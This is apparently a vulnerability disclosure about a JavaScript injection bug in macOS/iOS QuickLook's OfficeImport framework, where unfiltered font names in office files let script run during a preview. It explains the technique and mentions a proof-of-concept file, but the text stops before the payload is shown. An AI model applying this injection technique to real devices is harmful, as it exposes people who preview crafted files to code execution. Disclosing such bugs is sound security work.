macOS/iOS - JavaScript Injection Bug in OfficeImporter

QuickLook is a widely used feature in macOS/iOS which allows you to preview various formats such as pdf, docx, pptx, etc. The way it uses to show office files is quite interesting. First it parses the office file and converts it to HTML code using OfficeImport and renders it using WebKit. The problem is, it doesn't filter the names of fonts when generating HTML code from them. We can abuse it to inject arbitrary JavaScript code. Namely, we can execute arbitrary JavaScript code via an office file.

OfficeImport is located at /System/Library/PrivateFrameworks/OfficeImport.framework/Versions/A/OfficeImport.

I attached a PoC that will just print out "location.href". You can test it by "Right click -> Quick Look" on macOS or just opening the PoC file on iOS.

Here's the document.xml file of the PoC file where I injected JavaScript code.
